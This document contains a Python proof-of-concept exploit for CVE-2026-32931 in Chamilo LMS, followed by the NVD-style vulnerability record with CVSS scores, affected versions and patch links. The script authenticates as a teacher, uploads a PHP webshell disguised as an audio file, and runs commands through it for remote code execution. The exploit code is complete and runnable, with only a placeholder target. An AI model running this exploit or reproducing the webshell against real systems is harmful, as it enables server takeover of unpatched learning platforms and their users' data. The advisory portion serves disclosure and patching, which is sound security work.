CVE-2026-32931

import requests # Target configuration target_host = "http://victim-chamilo.com" login_url = f"{target_host}/main/login/user.php" upload_url = f"{target_host}/main/exercise/exercise_submit.php" # Attacker credentials (Low privilege: Teacher) username = "teacher" password = "password" # PHP Webshell content php_shell = "<?php system($_GET['cmd']); ?>" # 1. Establish Session session = requests.Session() payload = {'login': username, 'password': password} session.post(login_url, data=payload) # 2. Exploit: Upload PHP shell disguised as audio # The key is setting the Content-Type to 'audio/mpeg' while keeping .php extension files = { 'file': ('exploit.php', php_shell, 'audio/mpeg') } data = { 'exerciseId': '1', # Arbitrary existing exercise ID 'questionId': '1' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Note: The actual path needs to be determined from the response or guessed based on Chamilo structure # e.g. /app/courses/DOCUMENT/document/exploit.php shell_url = f"{target_host}/courses/DOCUMENT/document/exploit.php" # 3. Trigger RCE cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] RCE Output: {cmd_response.text}") else: print("[-] Upload failed.")

{"cve": {"id": "CVE-2026-32931", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:42.430", "lastModified": "2026-04-17T21:27:59.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 1.11.38 and 2.0.0-RC.3, an unrestricted file upload vulnerability in the exercise sound upload function allows an authenticated teacher to upload a PHP webshell by spoofing the Content-Type header to audio/mpeg. The uploaded file retains its original .php extension and is placed in a web-accessible directory, enabling Remote Code Execution as the web server user (www-data). This vulnerability is fixed in 1.11.38 and 2.0.0-RC.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.38", "matchCriteriaId": "A4D0C5D2-6FA0-4532-8E3D-4EA111A50621"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/8cbe660de267f2b6ed625433bdfcf38dee8752b4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/commit/d5ef5153df3d1b2de112cbeb190cdd10bea457f3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-863j-h6pf-3xhx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}